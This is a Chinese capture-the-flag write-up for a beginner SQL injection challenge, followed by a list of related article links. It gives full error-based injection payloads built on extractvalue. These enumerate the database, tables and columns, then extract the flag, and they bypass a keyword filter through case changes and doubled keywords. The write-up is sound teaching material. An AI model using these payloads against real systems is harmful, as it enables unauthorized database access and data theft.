[第一章 web入门]SQL注入-2 题目分析与详解

简介: [第一章 web入门]SQL注入-2 题目分析与详解

一、题目简介

分析题目,拿到flag。


二、解题思路

1、我们首先按照题目要求,分别访问 /login.php 和 /user.php。

访问 /login.php,页面如图:

访问 user.php,页面如图:

user.php没有用处,我们对 login.php 进行分析。

2、我们查看页面源代码,看看是否能找到有用的信息。

页面源代码给出我们两处提示:

(1)在url的后面加入 ?tips=1来开启mysql的错误提示,错误提示=报错会进行回显,那么可以使用报错注入,提供了一种思路。

(2)利用Burpsuite进行发包,提示我们最好在Burpsuite中进行操作。

那么我们就通过页面源代码的提示进行解题。

3、我们首先利用 Burp suite 对其进行抓包,并在url后面加上 tips=1,并且发送至 repeater 模块,方便实时发包查看报错信息。

具体报错信息可以使用 unicode编码在线转化工具转换为中文。

4、首先判断注入类型:

(1)name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
(2)name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。

经过和报错注入的联合判断,我们可以得出闭合方式为:单引号 ' 。

接下俩进行报错注入:

(1)注出数据库库名:

1' and extractvalue(1,concat(0x7e,database()))--+

(2)注出数据库中的表名:

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

我们发现未能注出表明,可能是select关键字被过滤掉了,那么我们利用大小写绕过,将select写作Select。 双写绕过 selselectect也是OK的。

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

成功注出表明,发现一张名叫作 fl4g 的表,flag很有可能就在这张表里。

(3)注出表 fl4g 中的列:

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

发现字段 flag,flag就在字段flag中。

(4)注出flag的值:

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

 

成功拿到了flag。

 

 

相关文章
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
202 1
|
1月前
|
Java 开发者 微服务
Spring Boot 入门:简化 Java Web 开发的强大工具
Spring Boot 是一个开源的 Java 基础框架,用于创建独立、生产级别的基于Spring框架的应用程序。它旨在简化Spring应用的初始搭建以及开发过程。
67 6
Spring Boot 入门:简化 Java Web 开发的强大工具
|
23天前
|
安全 程序员 PHP
实验室信创平台上几道经典的web-php有关的题目wp
本内容介绍了多个CTF题目及其解题思路,涵盖正则表达式、PHP函数、代码审计等方面。例如,通过POST提交和正则匹配获取flag,利用PHP的松散比较和数组特性绕过验证,以及通过恢复VIM临时文件和SVN隐藏文件夹获取关键信息。每个题目都提供了详细的解题步骤和相关链接,适合初学者学习和实践。
27 1
|
2月前
|
中间件 Go API
Go语言中几种流行的Web框架,如Beego、Gin和Echo,分析了它们的特点、性能及适用场景,并讨论了如何根据项目需求、性能要求、团队经验和社区支持等因素选择最合适的框架
本文概述了Go语言中几种流行的Web框架,如Beego、Gin和Echo,分析了它们的特点、性能及适用场景,并讨论了如何根据项目需求、性能要求、团队经验和社区支持等因素选择最合适的框架。
142 1
|
2月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
67 2
|
3月前
|
SQL 存储 数据可视化
手机短信SQL分析技巧与方法
在手机短信应用中,SQL分析扮演着至关重要的角色
|
3月前
|
前端开发 JavaScript 开发者
探索现代Web前端技术:React框架入门
【10月更文挑战第9天】 探索现代Web前端技术:React框架入门
|
3月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
4月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
232 8
|
4月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
188 3
下一篇
开通oss服务